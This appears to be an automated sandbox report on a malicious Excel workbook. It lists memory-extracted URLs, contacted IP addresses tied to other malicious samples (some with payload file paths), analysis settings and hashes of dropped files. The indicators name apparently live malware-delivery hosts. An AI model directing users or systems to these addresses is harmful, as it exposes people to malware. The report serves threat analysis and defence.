                                                                                                                        https://api.diagnosticssdf.office.comAEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                                                        • Avira URL Cloud: safe
                                                                                                                        		unknown
                                                                                                                        https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ioszEXCEL.EXE, 00000000.00000002.692974319.000000000E072000.00000004.00000001.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://login.windows.net/common/oauth2/authorize=EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                                                            		high
                                                                                                                            http://80.71.157.224/EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmpfalse
                                                                                                                            • Avira URL Cloud: safe
                                                                                                                            		unknown
                                                                                                                            https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciescFEXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://login.windows.net/common/oauth2/authorize0EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingLEXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://login.windows.net/common/oauth2/authorize1EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://login.windows.net/common/oauth2/authorize3EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://graph.windows.net/EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                                                        		high
                                                                                                                                        https://login.windows.net/common/oauth2/authorize4EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://devnull.onenote.comEXCEL.EXE, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                                                            		high
                                                                                                                                            https://messaging.office.com/EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                                                              		high
                                                                                                                                              https://outlook.ofEXCEL.EXE, 00000000.00000003.678152004.00000000162F2000.00000004.00000001.sdmpfalse
                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                              		unknown
                                                                                                                                              https://outlook.officeEXCEL.EXE, 00000000.00000003.499023954.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500805327.00000000162F1000.00000004.00000001.sdmpfalse
                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                              		unknown
                                                                                                                                              https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingEXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                                                                		high
                                                                                                                                                https://skyapi.live.net/Activity/EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                		unknown

                                                                                                                                                Contacted IPs

                                                                                                                                                • No. of IPs < 25%
                                                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                                                • 75% < No. of IPs

                                                                                                                                                Public

                                                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                185.104.195.81
                                                                                                                                                		unknownIran (ISLAMIC Republic Of)
                                                                                                                                                		202391AFRARASAIRfalse
                                                                                                                                                101.99.95.15
                                                                                                                                                		unknownMalaysia
                                                                                                                                                		45839SHINJIRU-MY-AS-APShinjiruTechnologySdnBhdMYfalse
                                                                                                                                                80.71.157.224
                                                                                                                                                		unknownunknown
                                                                                                                                                		197301PARKNET-ASDKfalse

                                                                                                                                                General Information

                                                                                                                                                Joe Sandbox Version:34.0.0 Boulder Opal
                                                                                                                                                Analysis ID:532384
                                                                                                                                                Start date:02.12.2021
                                                                                                                                                Start time:07:45:35
                                                                                                                                                Joe Sandbox Product:CloudBasic
                                                                                                                                                Overall analysis duration:0h 7m 25s
                                                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                                                Report type:light
                                                                                                                                                Sample file name:SRLTX-1266305223.xlsb
                                                                                                                                                Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                Run name:Potential for more IOCs and behavior
                                                                                                                                                Number of analysed new started processes analysed:27
                                                                                                                                                Number of new started drivers analysed:0
                                                                                                                                                Number of existing processes analysed:0
                                                                                                                                                Number of existing drivers analysed:0
                                                                                                                                                Number of injected processes analysed:0
                                                                                                                                                Technologies:
                                                                                                                                                • HCA enabled
                                                                                                                                                • EGA enabled
                                                                                                                                                • HDC enabled
                                                                                                                                                • AMSI enabled
                                                                                                                                                Analysis Mode:default
                                                                                                                                                Analysis stop reason:Timeout
                                                                                                                                                Detection:MAL
                                                                                                                                                Classification:mal84.expl.evad.winXLSB@7/6@0/3
                                                                                                                                                EGA Information:Failed
                                                                                                                                                HDC Information:Failed
                                                                                                                                                HCA Information:
                                                                                                                                                • Successful, ratio: 100%
                                                                                                                                                • Number of executed functions: 0
                                                                                                                                                • Number of non-executed functions: 0
                                                                                                                                                Cookbook Comments:
                                                                                                                                                • Adjust boot time
                                                                                                                                                • Enable AMSI
                                                                                                                                                • Found application associated with file extension: .xlsb
                                                                                                                                                • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                • Attach to Office via COM
                                                                                                                                                • Scroll down
                                                                                                                                                • Close Viewer
                                                                                                                                                Warnings:
                                                                                                                                                Show All
                                                                                                                                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                • Excluded IPs from analysis (whitelisted): 23.211.4.86, 52.109.2.0, 52.109.8.23, 52.109.8.25
                                                                                                                                                • Excluded domains from analysis (whitelisted): fs.microsoft.com, prod-w.nexus.live.com.akadns.net, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, config.officeapps.live.com, us.configsvc1.live.com.akadns.net, nexus.officeapps.live.com, displaycatalog.mp.microsoft.com, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net
                                                                                                                                                • Not all processes where analyzed, report is missing behavior information

                                                                                                                                                Simulations

                                                                                                                                                Behavior and APIs

                                                                                                                                                No simulations

                                                                                                                                                Joe Sandbox View / Context

                                                                                                                                                IPs

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                185.104.195.81SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                • 185.104.195.81/767224823161.dat
                                                                                                                                                SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                • 185.104.195.81/319199189746.dat
                                                                                                                                                101.99.95.15SRLTX-1266305223.xlsbGet hashmaliciousBrowse
                                                                                                                                                  SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                    SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                      SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                        SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                          80.71.157.224SRLTX-1266305223.xlsbGet hashmaliciousBrowse
                                                                                                                                                            SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                              SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                                SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                                  SRLTX-827324351.xlsbGet hashmaliciousBrowse

                                                                                                                                                                    Domains

                                                                                                                                                                    No context

                                                                                                                                                                    ASN

                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                    SHINJIRU-MY-AS-APShinjiruTechnologySdnBhdMYSRLTX-1266305223.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 101.99.95.15
                                                                                                                                                                    SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 101.99.95.15
                                                                                                                                                                    SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 101.99.95.15
                                                                                                                                                                    exel.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.143.12
                                                                                                                                                                    SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 101.99.95.15
                                                                                                                                                                    SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 101.99.95.15
                                                                                                                                                                    jydygx.armGet hashmaliciousBrowse
                                                                                                                                                                    • 101.99.125.127
                                                                                                                                                                    9LC8BVglps.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.158.95
                                                                                                                                                                    purchase_order.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    24390844104405462,pdf.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    YaMfg60AB4.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    EDyyOwFu2Y.rtfGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    PaymentCopy-18112021.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    Halkbank,pdf.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    ACILISTEK.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    111821 New Order_xlxs.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    invoice.pdf.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    ujbZuYEbJR.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    INVOICE - FIRST 2 CONTAINERS 111.xlsxGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.149.196
                                                                                                                                                                    #Ud83d#Udcdewav_audio__Atlanticare__#985850.HTMGet hashmaliciousBrowse
                                                                                                                                                                    • 111.90.145.235
                                                                                                                                                                    PARKNET-ASDKSRLTX-1266305223.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.157.224
                                                                                                                                                                    SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.157.224
                                                                                                                                                                    SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.157.224
                                                                                                                                                                    SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.157.224
                                                                                                                                                                    SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.157.224
                                                                                                                                                                    F2433DFBA69148A0C3A5A5951D360B6C3C045090DE06F.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.158.167
                                                                                                                                                                    0PTqb4jxab.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.158.106
                                                                                                                                                                    QJX8FxGICW.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.158.106
                                                                                                                                                                    CbQPj4t8t8.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.158.106
                                                                                                                                                                    ykHVrz0Rhn.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.158.106
                                                                                                                                                                    BW3YgASkbP.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.158.106
                                                                                                                                                                    ZxsTMGzhcI.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.158.106
                                                                                                                                                                    CI + PL.docxGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.158.94
                                                                                                                                                                    4o6tbR4nsFGet hashmaliciousBrowse
                                                                                                                                                                    • 194.62.170.231
                                                                                                                                                                    wFob8Dpa4zGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.137.238
                                                                                                                                                                    taugif.exeGet hashmaliciousBrowse
                                                                                                                                                                    • 80.71.138.195
                                                                                                                                                                    AFRARASAIRSRLTX-1266305223.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 185.104.195.81
                                                                                                                                                                    SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 185.104.195.81
                                                                                                                                                                    SRLTX-207074251.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 185.104.195.81
                                                                                                                                                                    SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 185.104.195.81
                                                                                                                                                                    SRLTX-827324351.xlsbGet hashmaliciousBrowse
                                                                                                                                                                    • 185.104.195.81
                                                                                                                                                                    Hilix.arm7Get hashmaliciousBrowse
                                                                                                                                                                    • 185.49.104.0
                                                                                                                                                                    BitmCvTrdOGet hashmaliciousBrowse
                                                                                                                                                                    • 185.49.104.4
                                                                                                                                                                    17Rom1F3MYGet hashmaliciousBrowse
                                                                                                                                                                    • 185.49.104.8
                                                                                                                                                                    Yx8iF6YZtNGet hashmaliciousBrowse
                                                                                                                                                                    • 185.49.104.3
                                                                                                                                                                    SecuriteInfo.com.Exploit.Siggen3.10048.24657.xlsGet hashmaliciousBrowse
                                                                                                                                                                    • 185.118.15.137
                                                                                                                                                                    SecuriteInfo.com.Exploit.Siggen3.10048.14515.xlsGet hashmaliciousBrowse
                                                                                                                                                                    • 185.118.15.137

                                                                                                                                                                    JA3 Fingerprints

                                                                                                                                                                    No context

                                                                                                                                                                    Dropped Files

                                                                                                                                                                    No context

                                                                                                                                                                    Created / dropped Files

                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\AC8CAF02-683E-48A7-A700-0718A72BFEE2
                                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                    File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):140372
                                                                                                                                                                    Entropy (8bit):5.357229829528279
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:1536:YcQIfgxrBdA3gBwtnQ9DQW+zUA4Ff7nXmvid1XiE6LWmE9:EuQ9DQW+zmXfH
                                                                                                                                                                    MD5:27E11A15A6ED929ECB395BFD8F745FCC
                                                                                                                                                                    SHA1:C7399E97144390A957EA450AD718A38034F101F0
                                                                                                                                                                    SHA-256:390FAF8C103292F08B6437A91A9F7E5F2A4B4A3217E21104CEF89BF91E989660
                                                                                                                                                                    SHA-512:038B3E9455E8415DB102FFB945E6DCB26D046D4D6CF9C0DA701E4DD999F2D0606941DFFF7B0031B1FF43B8C3FBC0C6865F29992C3E86750471928AC960F33B29
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Reputation:low
                                                                                                                                                                    Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-12-02T06:46:26">.. Build: 16.0.14729.30527-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\5725A463.jpg
                                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                    File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1098x988, frames 3
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):85681
                                                                                                                                                                    Entropy (8bit):7.915850776614707
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:1536:wB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUw:Pc6EehCfCZpUHKGXbBKsiit
                                                                                                                                                                    MD5:4F100E2CEFED046B44EC799015B454EF
                                                                                                                                                                    SHA1:5149E5D1B5212C77B3548914E9B47D67B4BEA574
                                                                                                                                                                    SHA-256:D30B441AB0E88A1487F29A80D63E2A4865A3F5DF7854FB8359B354397F807E2C
                                                                                                                                                                    SHA-512:153581151434815CC17E88D587FF6A6AF8F7154B4A05146453A9814F662C68D79F1063BDD9F789A1DB2F5818D199EF600703F8BC35785B0705332EC231F35A14
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Reputation:moderate, very likely benign file
                                                                                                                                                                    Preview: ......JFIF...........................................'......'#*" "*#>1++1>H<9<HWNNWmhm................................'......'#*" "*#>1++1>H<9<HWNNWmhm...........J..".................................................".............................................................q.[..+...*...K.... ..............?.......g....6..)....=~....................w5...........7_.-.......k.../...;.........!.z%o..w!....,.............?...Gs?.].......C..P~i.._.=..`....{...w....."..-........:..d.....................;z7)...~g........C....v..\..O.....0...v........v... ............A...;.~Y.}.....MsC.~..5..?.;.........V7....G...b..~...........@................O.}...o4.s_...z78.1.yl...X~.u..~..S....J..V~S..x.u~.. ..............@....u..m....rGrf.P.._+Z..?AW..~..u.G....................o&..................................................................9.0...H.Zx...M.y.[kW..o......;.....z......}v.m..[R.i....R..m....+.J............r6.P....|s..].vO._.}..K.]-V.U=9}........W......3.....G.t}Y
                                                                                                                                                                    C:\Users\user\Desktop\6FC30000
                                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                    File Type:Microsoft Excel 2007+
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):99214
                                                                                                                                                                    Entropy (8bit):7.8296133896152025
